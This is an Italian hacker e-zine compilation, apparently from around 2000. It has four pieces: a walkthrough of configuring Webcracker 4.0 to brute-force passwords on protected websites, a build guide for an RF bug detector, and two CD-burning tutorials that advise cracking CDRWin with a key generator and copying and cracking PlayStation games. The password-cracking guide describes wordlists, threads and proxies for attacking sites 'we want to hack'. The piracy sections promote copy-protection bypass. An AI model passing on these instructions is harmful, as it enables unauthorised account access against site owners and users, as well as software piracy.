²°°°ÛÛ°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°²
²°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ



ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ Webcracker 4.0 ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

ORA DI INIZIO: 23.35
ORA DI FINE: 2.10

Consumo: 3 banane, 1 pesca e 1 brioches.

Musica ascoltata: 883 dallo stereo del mio vicino.

NOTE

Io, cioè l'autore di questo testo non sono responsabile di ciò che farete dopo avere
letto questo articolo.
Questo programma bla bla

Webcracker 4.0

Innanzitutto prima di tentare di fare cavolate con questo programma è meglio sapere
alcune cose.Questo programma serve per scoprire le password dei siti protetti.

Il vantaggio principale di questo programma è la velocità.

L'uso di questo programma è molto semplice quando si hanno un minimo di conoscenze
sul tema che si tratta in in una e-zine come questa.

Il programma si presenta sulla schermata chiamata FILE E LOCATION.
In questa schermata si impostano i dati dell'attacco secondo questo schema:


USERNAME FILE: in questo campo dobbiamo indicare qual'è il file contenente la lista
delle user che vorremo usare.

USE PASSWORD FILE: inseriamo qui la locazione dl file contenete le password.

USE COMBO FILE: selezioniamo questa opzione se vogliamo che il programma usi le
password che sono contenute in un file insieme alle user.

URL:inseriamo l'indirizzo del sito che ci interessa.

Le altre opzioni possiamo lasciarle come ci vengono impostate dal programma.

Passiamo ora alla prossima schermata OPTIONS:

USERNAME TRASLATION: selezioniamo lowercase se vogliamo che il programma usi tutte
le user in minuscolo, se invece selezioniamo uppercase non avremo nessun effetto.
Se abbiamo la lista in minuscolo avremo l'effetto contrario.

PASSWORD TRASLATION:valgono le stesse regole che si sono usate per username traslation.

TRY USERID AS A PASSWORD:selezioniamo questa opzione se vogliamo che il programma
dopo aver tentato di usare i file contenenti le user e le password provi ad
invertire i compiti dei due file.

MINIMUM PASSWORD LENGTH:questa opzione ci è utile quando nel sito che ci
interessa è specificato un numero minimo della lunghezza della password: infatti
selezionandola il programma scarterà automaticamente le password che non hanno
un numero minimo di caratteri.

PLAY SOUND:questa opzione, ci permette di attivare o disattivare il suono.

Saltiamo la scermata advanced per passare all'ultima LOGGIN:

PROXY: credo che sia inutile spiegare a cosa serve il proxy.no?
Se non lo sapete vi posso consigliare di leggervi qualche guida e capirete
che è meglio farne uso.

NUMBER OF THREADS: impostiamo qui il numero di password che vogliamo tentare
ogni volta, possiamo fare delle prove e scoprire se il sito che vogliamo
hackare permette di usare più di una password.

LOG UNSUCCESSFUL RESULTS:qui vengono loggati tutti i vostri attacchi.

FILTRES:permette di non scaricare quelle stringhe che ostacolerebbero l'attacco.

Ora che avete impostato tutto potete fare due cose:

1.Andarvene a dormire perchè sono già le 3 di notte e domani vi dovete
alzare presto.
2.Cliccare su start per fare partire il processo, stop per metterlo in pausa.

THE DISO

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
² EEEE EE EEEE EEEEEEEEEEEE EEEEEE EEEEEE EE EE EE EEEEE EEE ²
² E EE E EE EE EE EE EE EE EEE EE EE EE EEEEE ²
² EEEE EE EEEE EE EE EEEEE EE EE EEEE EE EE EE EEE EEE ²
² E EE E EE EE EE EE EE EE EE EEEE EE EE EEEEEEEEE ²
² EEEE EEEEE EEEE EE EE EE EE EEEEEE EE EEE EE EEEEE EEE EEE ²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

!!!!!!RIVELATORE DI MICROSPIE!!!!!!

Autore: [TeLeKOZ]

Consumo: Un cazzo (hue non franteindete :))

Questo articolo non ha nulla che a vedere col phreaking l'hacking ecc.. mah può sempre
essere utile nella vita quotidiana. Tutto questo l'ho scritto solo a scopo informativo.

FBI dal 1900 e qualcosa invadiamo la vostra privacy!

Se pensate che qualunque cosa che fate sia vista o sentita da qualcuno e che ogni
volta che vi fate na sana scopata ci sia qualcuno che si stia sentendo la vostra
esibizione Beh questo è proprio quello che fa per voi. Cosa i vostri genitori hanno
appena comprato l'ultimissimo sirio 2000 super accessoriato e con tutte le solite
cazzate della telekoz scoprirete presto che in realtà dentro il tel c'è una microspia
che ascolta tutte le vostre chiamate :) He He He scherzi a parte ma cmq non si sa mai.
Se gestite un traffico di droga e avete paura che la polizia possa aver nascosto
qualche cimice nella vostra abitazione per mettervelo nel culo! questo è quello di
cui avete bisogno.

Allora iniziamo dagli inizi. Fin da quando sono apparsi sullo schermo cinematografico
i primi detectives dell'era elettronica, equippagiati di tutto punto con cimici e
diavolerie incredibilmente dense di microchips e displays, anche il mercato
dell'elettronica ha comiciato ad arrichirsi di molti esemplari tipici che non devono
mancare ad alcun detective. Senza voler entrare nel merito credo comunque che la sagra
di 007 abbia contribuito notevolmente al diffondersi di un tale filone che vede l'era
tecnologica proiettata nella fiction cinematografica più o meno credibile od esasperata.
Un esemplare del perfetto James Bond è senza dubbio la microspia: piccolissima,
affidabile, rivelatrice di mille segreti scottanti. Cinematografia a parte le
microspie esistono anche nella realtà!!! e non sono per nulla difficili e costose
da costruirsi. Ed anche nella realtà, così come nei film, sono solo un giocattolo
per divertirsi ad ascoltare innoquamente quello che non possiamo udire con le
nostre orecchie. Infatti le microspie sono usate sempre più spesso, più che per
divertimento, per trarre in qualche modo vantaggio anche economico. Avete mai
sentito parlare di spinaggio industriale, di progetti segreti "rubati" agli
inventori prima che il prodotto fosse brevettato? NNNOOOOOOOOO ma dove vivete???????
Ma forse c'è qualcosa di ancora più subdolo e scottante: è l'intrusione di una
microspia nella propria vita privata. Non è certo piacevole che qualcuno venga a
sapere i vostri segreti o che, peggio ancora, li registri a distanza. Telefonate,
colloqui personali, appuntamenti, scopate, incontri sadomaso..... la microspia è un
accanito quanto indiscreto "ascoltatore" che carpirà i vostri più intimi segreti.
Mogli e mariti indispettiti, gelosi, timorosi di essere traditi, impiccioni,
investigatori privati o pseudo tali.... che fare allora contro l'insidia delle
microspie situate nell'ambiente di lavoro, in casa, in auto, nel vostro organismo
he he he :)? Semplice! Bisogna rimuoverle, annientarle e poi usarle per i vostri
loschi scopi mi sembra evidente no? :) e vi chiederete voi ma come cazzo faccio a
scovare ste cazzo di microspie che possono essere grandi quanto un bottone o una
scatola di fiammiferi? Beh ve lo dico io no. Sarebbe come cercare un ago in un
pagliaio se non sapessimo che... la microspia altro non è che un trasmettitore
di radiofrequenze. Per cui con un normale misuratore di campo si può individuare
una sorgente, come è ad esempio la microspia, mediante la misurazione della potenza
RF emessa dalla stessa.

RDM RIVELATORE DI MICROSPIE

Un sensibilissimo strumento in grado di scovare microspie anche di bassissima
potenza sistemate in qualunque posto. Una barra LED vi guiderà nell'avvicinamento
fino alla scoperta della sorgente di radiofrequenza. Ideale per chi sospetta di
avere in casa o in uffcio cimic di vario genere. l'RDM dipsone di regolazione
per il controllo della sensibilità. il campo di utilizzo è compreso tra 450KHz
e 450Mhz. Alimentazione tramite batt. 9V.

Il principio del funzionamento dell'RDM è estremamente intuitivo: esso è basato
sulle caratteristiche intrinseche di due diodi al germanio, che hanno la capacità
di rivelare la presenza di radiofrequenze. Innanzitutto bisogna precisare che
il segnale RF emesso da una microspia è di tipo alternato ad alta frequenza (HF)
ed è in genere compreso tra 1 e 250 MHz. Tale segnale, una volta captato
dall'antenna del nostro misuratore di campo RDM, viene trattato dai due diodi
al germanio accenati, che fungono da duplicatore di tensione e trasformato poi, da
alternato che era, in segnale di tipo continuo. Questo è affidato al successivo
stadio costituito da due amplificatori operazionali, posti in "cascata", con
guadagno 50 ciascuno. Ora il segnale è compatibile con le specifiche di funzionamento
del circuito integrato usato per la visualizzazione dell'intesità di campo, ma
è frapposto ad essi un potenziometro predisposto per l'esatta taratura, di volta
in volta, di tale circuito. Prima di continuare vediamo l'elenco dei
componenti necessari.

______________________________________________________

Elenco componenti RDM:

R1 = 100 kohm
R2 = R3 = 220 kohm
R7 = 10 kohm potenziometro lineare
R8 = 47 ohm
R9 = 1 kohm
C1 = C2 = 100nF multistrato
C3 = 1 uF elettrolitico
C4 = 100 uF elettrolitico
D1 = D2 = diodo al germanio AA118 o equivalente
DL1 = DL2 =DL3 = DL4 = DL5 = LED rosso diametro 5mm
DL6 = LED verde diametro 5mm
U1 = LM358
U2 = KA2284
SW1 = interruttore a slitta
______________________________________________________

OK adesso possiamo continuare. troverete gli schemi per il montaggio nelle
immagini allegate.
Il circuito integrato U2 è essenzialmente un comparatore di livello soglia,
a 5 stadi, con stabilizatore di tensione interno, comunemente chiamato VU-Meter.
Il suo compito è quello di fornire tensione, progressivamente e proporzionalemte
all'intesità dic ampo misurata, ad una serie di 5 LED (significativamente di colore rosso).
Il dispositivo RDM è inoltre dotato di un interrutore a slitta per
l'accensione / spegnimento, inoltre o stato On-OFF è reso immediatamente visibile
dalla presenza di un LED (di colore verde). Il nostro rivelatore RDM è in grado di
apprezzare un range di frequenze molto ampio che va da 450KHz a 450MHz, con un
intervallo di massima sensbilità fra 70 e 300MHz. Questo vasto range ne permette
l'utilizzo con tutti i normali trasmettitori.
Piccole note: prestate attenzione al giusto verso dei diodi e dei LED occhio
all'anodo e al catodo. Il circuito integrato U2 va saldato direttamente sul circuito
stampato per cui non soffermatevi a lungo durante la saldatura. Per il montaggio
del deviatore a slitta SW1, occorre saldare nelle rispettive piazzole 3 ancoranti
e quindi saldare a questi ultimi il deviatore tenendolo appogiato sulla basetta.
Mi raccomando montate l'antenna se no che cosa pretendete di trovare :).
Terminato il montaggio attachiamo una normale pila a 9V per radioline allo snap
di alimentazione. Il bassissimo assorbimento del sistema (circa 14 mA è imputabile
al solo funzionamento dei LED.

COME USARE IL RDM

Una volta montato tutto magari dopo averlo inscatolato in modo che diventi il
vostro rivelatore di microspie tascabile per darvi un'idea di quello che sto dicendovi
allego un'immagine esplicativa. Adesso non rimane che cercare qualche insidiosa microspia! :)
Ma per provare l'efficenza del nostro caro rivelatore di microspie è sufficiente
utilizzare un normale trasmettitore (in questo caso tenere premuto il pulsante di
trasmissione), anche di debole potenza, se non si è in possesso di una vera e
propria microspia. Nel caso in cui si volglia ricercare la presenza di microspie
si dovrà tenere conto di alcuni semplici accorgimenti:

-Sincerarsi che le batterie siano in perfetta efficienza;

-La taratura si effettua regolando il potenziometro in modo che sia debolmente
acceso solo il primo LED (minima intensità);

-la taratura dell'RDM deve avvenire preferibilmente in un punto dell'ambiente in
cui sia meno probabile la presenza di microspie, dove cioè si ha la minor intensità
di campo, ad esempio al centro di una stanza;

-Può accadere che spostandovi all'interno di una stanza vengano visualizzati
improvvisi incrementi di intensità, niente paura...., potrebbe essere
semplicemente il campo prodotto da carichi elettrici ad alto assorbimento
(quali i neon), avvicinate l'antenna alla possibile sorgente e controllate
meglio di persona.

Nel caso vi siate imbattuti in una microspia, vedrete (man mano che avvicinate
lo strumento) accendersi progressivamente la barra dei LED da DL1 a DL5.

Le dimensioni dell'RDM montato corrispondono a quelle di una normale radiolina.

Microspie?! Il RDM è sicuramente un ottimo antidoto per trovarle e poi
riusarle hi hihihi hi!

Un saluto a tutti gli amici di #phreak.it by [TeLeKOZ]
Un saluto particolare ad hola^ ed a _MCL_ Ragazzi auguri per la maturità!

Un FUCK a tutti i lamer!
Ed un immenso FUCK alla telecom che nella sua pubblicità e nel suo sito internet
del cazzo dice come vorresti che fosse il tuo futuro?

Beh sicuramente senza di te telecom di merda :) Alla prossima ragazzi byez.
Per qualunque commentoi insulti, proposte indecenti, ricatti o altro
la mia mail è:

phonez@freemail.it

[TeLeKOZ]


ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ Masterizzare che passione! ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ


Qualche tempo fa sul n.2 di questa e-zine ho letto un articolo che aveva


più o meno lo stesso titolo... Naturalmente avete capito tutti di cosa sto


parlando.... quindi niente chiacchiere e passiamo al dunque...


Allora, ormai è passato tanto tempo e le cose sono un po' cambiate...


Inizierei col parlare dei masterizzatori in commercio mentre sto scrivendo


questo articolo... Bene, ci sono masterizzatori di due tipi: SCSI ed EIDE.


I primi, sicuramente più sicuri ma un po' più costosi, per funzionare


hanno bisogno di un controller, di cui bisogna quindi tener conto in


termini monetari (:P) nel momento in cui decidiate di acquistare un


cd-writer. Gli EIDE invece vengono collegati direttamente sulla


motherboard. Oggi i masterizzatori più veloci scrivono sui normali CdR (cd


recordable) a 12x, quindi IN TEORIA potreste masterizzare qualsiasi Cd in


un tempo pari ad 1/12 di quanto dura il sorgente!


Masterizzare un cd non è una cosa semplicissima, in particolare per quelli


di software e per i multisessione. Questo perchè nella fase di


masterizzazione la copia non aviene "bit per bit" ma in ogni caso il


software utilizzato per la masterizzazione in qualche modo "interpreta" i


dati che poi andrà a scrivere. Quindi se vi occorre un masterizzatore in


grado di copiare tutto - ma proprio tutto - sceglietene uno supportato dai


più potenti software per masterizzazione in commercio. Uno di questi


programmini veramente "malefico" (eheheh) è il CloneCd, per ora l'unico


programma in grado di copiare CORRETTAMENTE cd multisessione! Il CloneCd


supperta pero' solo Plextor e Atapi. Riportandomi a quello che dicevo


prima se avete bisogno di copiare tutto sicuramente la scelta migliore è


un PLEXTOR. Vediamo un po' perchè masterizzare non è una cosa


semplicissima. Allora. La copia del cd puo' avvenire in 2 modi: "On the


Fly"
(A volo) oppure con file immagine. Nel primo caso il pc provvede a


leggere i dati da un cd copiarli in un buffer di memoria (la cui grandezza


dipende dal masterizzatore) per poi leggerli dallo stesso buffer e


masterizzarli, il secondo modo è descritto in seguito. Una scrittura senza


buffer sarebbe impossibile perchè il risultato di un


minimo di rallentamento nella lettura del cd sorgente sarebbe una copia


illeggibile. Questo perchè tutti i masterizzatori (tranne uno :P) non


possono interrompere la scrittura! In questo caso il cd si


"Brucia" e risulta da buttare!!! Bisogna evitare quindi in qualunque caso


che il buffer di lettura si svuoti perchè il masterizzatore non trovando


dati da scrivere sarà costretto a dare un messaggio di


errore! Dicevo... l'unico masterizzatore che puo' interrompere la


scrittura e riprenderla dallo stesso punto è il PLEXTOR 12x10x24


(costa circa 700.000 lire) grazie alla fantastica opzione "Burn


Proof"
; attenzione pero' perchè è un masterizzatore EIDE! La velocità con


cui i dati escono dal buffer è naturalmente pari a quella di scrittura del


masterizzatore, quindi la scrittura più lenta è sempre quella più


sicura... Ma poichè il tempo è denaro e ci sono tante altre cose che


aspettano... vediamo alcuni accorgimenti per evitare di bruciare cd anche


masterizzando ad alta velocità. Questo è più facile con masterizzatori


SCSI perchè oltre al buffer utilizzato dal software (una zona riservata


del disco fisso) aggiunge quello presente sul controller. Quindi è anche


importante la scelta del controller. Un ADAPTEC 2904 con i suoi 1.3 Mb di


buffer puo' andare bene e costa sulle 90.000 lire. Il top è sicuramente


l'ADAPTEC 2940 con 4Mb di buffer e 35 periferiche collegabili in


cascata! Il sitema più sicuro è quello che trasferisce tutti i dati nel


controller scsi prima di masterizzarli liberando anche la CPU da molto


lavoro! Se state per acquistare un pc perchè volete diventare


contrabbandieri di cd acquistatene uno con lettore cd, masterizzatore e


possibilmente anche hard disk scsi. Se invece vi limitate ad un uso medio


(diciamo 10 copie al giorno :PPP) potete rinunciare all'hd scsi. Se


copiate al max 1 cd al giorno basta qualsiasi masterizzatore perchè tanto


risparmiate anche 300000 e chevvenefrega se vi brucia un cd al mese?


Quindi concludendo la parte hardware: se volete il top scegliete PLEXTOR


se non avete grossissime esigenze sono ottimi anche YAMAHA e WAITEC


(scsi), se dovete usare il cdwriter solo per backup o roba del genere un


qualsiasi EIDE va bene! Per il controller sceglietene uno dei due sopra


citati a seconda delle esigenze (tenete presente che il 2940 costa intorno


alle 500000 lire).


Fate un pensiero anche ad un masterizzatore riscrivibile perchè lo


avete con poche migliaia di lire in più ed a volte puo' essere molto


utile scrivere cd che poi dovete cancellare (ottimo per backup o


trasferimento di dati).


La copia con file immagine invece consiste nel copiare tutto il cd


sorgente in un unico file su Hd e poi masterizzarlo.


Ora due parole sui software per masterizzare.


Nero Burning Rom:


Giunto alla release 5.0.2.9 è sicuramente uno dei migliori programmi in


quanto è semplice da usare e permette di copiare quasi tutto. Ottimo per i


cd playstation e dreamcast. Con un po' di esperienza si possono riuscire a


bypassare molti tipi di protezione. L'ultima release copia anche cd


multisessione ma gli enhanced cd (audio+dati) non vengono


perfettamente! Si sente un tic al cambio delle tracce e la traccia dati


non è visibile! (almeno per tutte le prove che ho fatto fino ad ora).


CdRWin :


E' l'unico prg che fa l'immagine su HD in binario! I crack dei giochi


playstation che si scaricano dalla rete sono eseguibili che vanno a


modificare l'immagine binaria. Quindi se dovete copiare cd playstation


dall'originale e crackarli non potete fare a meno di questo programma


CloneCD:


MITICOOOOOOO. Copia veramente tutto! Senza opzioni, il più facile e più


potente in assoluto! Peccato che funzioni solo con pochi


masterizzatori! Se non avete un PLEXTOR o un Atapi provate qlc altro programma :\


Prassi:


Ottimo anche questo ma un po' debole nello scrivere cd in overburn


(modalità grazie a cui facciamo entrare fino a 77 minuti su un cd da 74).


WinOnCd:


Il primo programma ad avere il controllo del buffer sul monitor. Va


abbastanza bene ma non copia nessun cd che non potete copiare col nero.


Easy Cd Creator:


Programma abbastanza buono per le copie più comuni... anche questo niente


più del nero.


Disk Dupe:


Potentissimo funziona solo con Plextor.


Ci sono molti altri programmini che fanno più o meno bene, ma io mi trovo


benissimo con il nero e non lo cambiero' mai :PPP La' dove il nero


fallisce interviene il CloneCd!





Beh, ora vi saluto , e mi raccomando usate queste info solo per fare copie


di backup! CIAO e alla PROSSIMAAAAAAAAAA





Korg

__ ___ _ _______ ____ ____
/ |\/ /| |_ ___| __ \ / _ |\
-------------/ |/ / | |_\ \__| _/\/ /\/ / |--------------
--------------/ /| / /| | \ \ | | \\/ /_/ / /-------------
/__/ |__/ / |_| \__\|_|\_\|___ / /
\__\/\__\/ \_\ \__\__\\_\____\/ THe DeMoN (c)

CoMPuTeR'S HeaVeN SoCieTY

*****************************************************************************
**************************** SoFTWaRe CoLLeCTioN ***************************
*****************************************************************************


Presenta
La MaXi GuiDa Su CoMe Farsi....
uNa FiG... (Cazzo questa non Š una sex_guide ho toppato)
uN CD-RoM CoN CDRWin 3.7C

Occorrente:
500.000œ circa per comperarsi un fottuto masterizzatore IDE
3000œ circa per un CD vuoto
1,5 l di Coca ( - Cola, ovvio )
dai 40 ai 80 min. della tua vita ....
Un BEL pacchetto di MARLBORO LIGHT .... uno ?!




Bene, cominciamo...

Innazitutto procuratevi CDRWin all'indirizzo http://www.goldenhawk.com e poi
se avete cazzi anche il key generator per registrarlo o comperatevelo o
crackatevelo o fateci quel cazzo che volete basta che poi funzioni.
Ora lanciatelo, altrimenti nei cd vergini vi ci potete solo specchiare...

Adesso si parte seriamente:

Dipende tutto da che cosa volete fare con il programma...

1 Nozioni base sulla masterizzione
2 Creare e registrare un Iso 9660
3 Copiare un fottutissimo vieogioco della Play ( o qualsiasi altro CD-ROM )
4 Copiare un cd audio
5 Creare un cd audio
6 Aggiungere una sessione ad un CD

(1) NOZIONI BASE SULLA MASTERIZZAZIONE

Innazitutto deovete sapere come settare al meglio il vostro masterizzatore:

-Impostare il masteriz come slave e il vostro cd-rom come master (questo non
vale per i masteriz SCSI che vengono messi in catena con ID da 1 a 7 ).

-Disabilitare l'opzione DMA sia del masteriz che del CD-ROM (NB. per i DVD
invece Š bene che questa sia abilitata).

-Masterizzare preferibilmente a 2X con quelli IDE sia perchŠ il risultato
del vostro tempo perso pu• non essere letto da tutti i CD-ROM, in particolar
modo su quelli pi— vecchi, sia perchŠ con questa archittetura pi— aumentate
la velocit… pi— aumentate il rischio di fottervi un CD. Ovviamente questo
non vale per i masteriz SCSI che utilizzano tutta un' altra archittettura di
trasferimento dati...

-Un' altra opzione dei programmi di masterizzazione che ritengo importante,
sia che si possieda uno masteriz SCSI che IDE, Š il fatto di poter creare
un' immagine su HD dei CD da copiare.... Š pi— sicuro farlo sepmre anche se
perderete sicuramente 10 ~ 20 min. del vostro tempo perso davati alla TV :-)
proterete cos verificare la lettura eseguita prima di scrivere ....

-Disabilitate lo screensaver e tutti gli alti programmi residenti come gli
antivirus e non usate nulla mentre il masteriz st… scrivendo potrebbe andare
a fanculo il vostro costosissimo CD ( 3000œ ) :-)

-<=************=>-

VEDIAMO ORA COME FUNZIONA STO BASTARDO DI CDRWin ....

-<=************=>-

(2) CREARE E RGISTRARE UN ISO 9660

Innazitutto bisoga dire che l' ISO9660 Š un particolare CD in formato standard
ossia ha una FAT riconoscita dalla pressochŠ totatlit… dei CD-ROM.
Diciamo che con questo formato si possono aggiungere pezzi al CD
successivamente alla prima scrittura sempre che non si sia chiuso il CD:
questa tecnica Š detta multissessione... OK lo so che questo Š un tutorial
per nofiti ma, cazzo, un po' di teoria non gli f… sicuramente male poi non ho
dato neanche una definizione in modo serio.... Ho bisogno di una sigaretta...
Ho finalmente posso riprendere seriamente... SCUSATE PICCOLO SFOGO ....
Per creare un CD in formato ISO dovete cliccare sul IV pulsante in alto " File
Backup and Tools "
e dovrebbe aprisi una schermata dove nel primo campo vi
appare una combobox nella quale potete selezionare pi— opzioni: sciegliete
" Build and Record an ISO9660 Image File ". Nella parte pi— in basso affianco
ai pulsanti ADD DELETE CLEAR potete inserire i file o le cartelle che volete
registrare con un semplice DragAndDrop oppure cliccare sul pulsante ADD e
selezionare quelle cazzateche volete registrare. Nel campo sottostante
inserite il nome e la locazione del file ISO da creare su disco prima della
scrittura ( ricordatevi di cancellarlo una volta testato il risultato del
vostro duro lavoro, perchŠ questo Š un' immagine del CD e quindi ha le sue
stesse dimensioni ) Qeste devono apparire nel campo l a fianco. Teoricamente
ora potete gia scrivere il vostro CD ma vediamo che parametri settare...
Controllate che le check " Include Hidden Files ", " Recurse Subdirectories "
e " Include System Files " siano sputatealtrimenti i file nascosti non verrano
scritti,le sottocartelle neppure, e neanche i file di sistema ivi contenuti.
Interessante Š la funzione del check " Preserve Full Pathnames ": se spuntato
il programma registrer… anche la struttura delle directory precedente

  
al
livello che avete inserito nel campo sopra partendo dalla Rootdirectory
altrimenti scriver… tutto partendo solo dal livello da voi imposto.
Sotto troverete altri check, quelli che useremo sono: " Long Filenames
(Joliet) "
, " Finalize Session ", " Verify Recorded Image ", tutte le altre
lasciatele stare di default. La check long file abilita il supprto per i nomi
lunghi anche sul vostro bel CD, cosa vivamente consigliata se lavorate in
ambiente Windows95 / 98; la check finalize session chiude la sessione che
avete aperto per il vostro lavoro in modo tale che il CD che avete realizzato
sia leggibile su tutti gli altri CD-ROM; l'ultima check in esame in questa
form, verify recorded.. ,serve per analizzare il risultato confronatadolo con
l' ISO di origine. ANFF ANFF !!! Abbiamo quasi finito ci manca ancora poco...
Nella label ISO9660 Options c'Š un pulsante dal nome " Advanced Options ",
clickateci sopra e vi si aprira un' altra form, l' ultima prima di premere
il mitico pulsante " START ", ve lo prometto...
Nella prima cartella " Volume Descriptor " potete settare tutte le opzioni
dell' etichetta di volume: quella che ci interessa Š solo la prima, ossia
" Volume Label ". In questo campo inserite il nome che volete dare al vostro
CD.
VIAAAAAAAA !!!!!! ora confermate l' opzione settata in questa form e poi
premete il fottuto pulsante: quindi tanti auguri che tutto vada bene, e
toccatevi non si sa mai, i CD a volte si fottono, anche per altri motivi,
da soli....

-<=************=>-

(3) COPIARE UN CD DELLA PLAY ( vale anche per tutti gli altri )

La procedura qu di seguito spiegata parte dal presupposto che sul vostro HD
ci sia posto sufficiente per l' immagine del CD che state copiando ( fanculo
alla Sony se Š un videogioco della Play ) Ps: perchŠ funzionino questi CD-ROM
dovete avere la modifica nella Play Lo Sapete VERO ?? ...

---------------------------- FINE PRIMA PARTE --------------------------------



----------------------------- SECONDA PARTE ----------------------------------

Clickate sul III pulsante " Extract Disc/Tracks/Sectors " ...
Via si aprir… una form nella quale dovrete inserire "Extract Mode ...",
"CD Reader", "Image Filename", "File Format", "Sector Selection" &
"Reading Options" Vediamo un po' a che cacchio serve tutta sta roba ...
Completamente inutile ... Vi ho fatto leggere un mucchio di cazzate ...
hi hi hi hi, scherzo :)

"Extract Mode " ==> Sciegliete "Disc Image / Cuesheet"; questo creer…
l'immagine del vostro CD vittima sul vostro disco ed il relativo "Cuesheet"
( che Š sta roba vi chiederete : il cue sheet Š praticamente il cuore del DAO
Disc At Once, non Š altro che un file che dice al programma come cacchio
costruire il CD sulla base di un file di immagine ).

"CD Reader" ==> Devo proprio dirvelo ? Spero di no comunque Š il lettore
contenente il CD originele di cui volete fare una copia ... (Ndd io consiglio
di utilizzare il masterizz come cd reader in quanto spesso Š pi— preciso nella
lettura. ).

"Image Filename" ==> ma guarda un po' ... dobbiamo pure dirgli il none del
file di immagine e la directory dove salvarlo visto che potremo riutilizzarlo
pi— di una volta. Che strano ... :)

"File Format" ==> Definisce il tipo di file di immagine ... Io consiglio di
lasciarlo su "AUTOMATIC"

"Sector Selection" ==> Completamente inutile per i nostri scopi comunqe
permetterebbe di salvare su disco solo alcuni settori di un CD

"Reading Options" ==> Eccoci arrivati al punto pi— interessante ...
Le mitiche impostazioni di lettura he he he he
Innanzitutto io consiglio sempre di spuntare il check "Raw" e di lasciare
vuoti tutti gli altri della prima riga poi:
"Error Recovery" -> gestisce gli errori di lettura: di solito lo
lascio su abort in modo tale da vedere se ci sono errori. Nel caso in
cui vi siano, verificate se sono voluti dal produttore quale
protezione o se sono dovuti alla superficie ecessivamete rovinata. Nel
caso in cui il cd originale funzioni correttamente sulla Play o su di
un PC allora molto probabilmente Š una protezione quindi: prima
provate a rileggere il CD con il CD ROM normale e osservate se
funziona correttamente altrimenti reinseritelo nel masterizz e
impostate questo parametro su ignore cosi il prog far… la lettura del
CD ignorando gli errori
"Jitter Correction" -> E' un algoritmo di correzione degli errori e
il mio consiglio Š di lasciarlo su auto.
"Subcode Analysis" -> Analizza dei codici particolari dei CD che per•
pochi lettori sono in grado di leggere e pochi masterizz sono in grado
di scrivere, quindi il mio consiglio Š di lasciarlo su auto.
"Data Speed" -> Imposta la velocit… di lettura dei dati, a volte per
poter leggere bene un CD bisogna abassarla anche sino ad 1x.
"Audio Speed" -> La stessa cosa solo per l'audio
"Read Retry Count" -> tentativi di lettura prima di abortire un
processo nel caso si verifichino errori
"Subcode Threshold" -> Setta la lunghezza massima di pregap che Š
possibile incontrare durante la lettura, io consiglio di lasciarlo
stare
Una volta settati tutti questi parametri sarete pronti per leggere un CD e per
creare la sua immagine su disco quindi potete premere "START".
Ora attendete che il processo sia finito e dovrebbe apparirvi un messaggio :
"Operation sucessfully completed" che vi dice che tutto Š andato bene,
altrimenti .... hi hi hi hi hi .... avrete un bel po da smanettare con i
parametri che ho descritto sopra.
Ora che avete creato l'immagine del cd sul vostro bel disco fisso, guardatela
e osservate quanto Š bello quel file da 650 Mb sul vostro HD he he he ...
Ed ora ...
.....................
...................................
.......................................................
pausa hi hi hi :) Me so rotto i lu maroni de scrive' ...
Bene bene riprendiamo, dunque abbiamo visto per bene la nostra immagine su
disco quindi vediamo ora come riportarla su di un'altro CD da voi comperato
alla modica cifra di 3000œ circa. Adesso uscite dalla form
" Extract Disc/Tracks/Sectors " con il pulsante Close he he he he he difficile
vero ? Premete quindi il primo pulsante " Record Disc " e vi si aprir… una
nuova form. In questa troverete ben 9 pulsanti, tanti da non capire pi— niente
he he he, cmq ne useremo solo due + una check box. Premete ora il pulsante
" Load Cuesheet " e selezionate il cuesheet abbinato al file di immagine del
